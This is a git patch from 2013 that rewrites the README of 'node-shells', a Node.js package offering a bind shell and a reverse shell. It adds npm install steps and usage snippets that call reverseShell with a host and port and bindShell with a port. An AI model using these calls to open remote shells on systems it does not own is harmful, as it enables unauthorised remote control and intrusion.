From 1ce19cd1378eaf3126b6b2d26a533129bea8504b Mon Sep 17 00:00:00 2001 From: Adam Baldwin Date: Fri, 9 Aug 2013 16:41:49 -0700 Subject: [PATCH] update readme with usage --- README.md | 24 +++++++++++++++++++++--- 1 file changed, 21 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 793b79f..cc759f8 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,22 @@ -node-shells -=========== +# node-shells -Currently a very simple bind and reverse shell that can be used with node.js. Tested on node 0.4.12 +Currently a very simple bind and reverse shell that can be used with node.js. Tested on node 0.10.15 + +## Install +``` +npm install node-shells +``` + +## Usage: Reverse Shell +``` +var shells = require('node-shells'); + +shells.reverseShell('127.0.0.1', '1234'); // host, port +``` + + +## Usage: Bind Shell +``` +var shells = require('node-shells'); +shells.bindShell('1234'); // port +```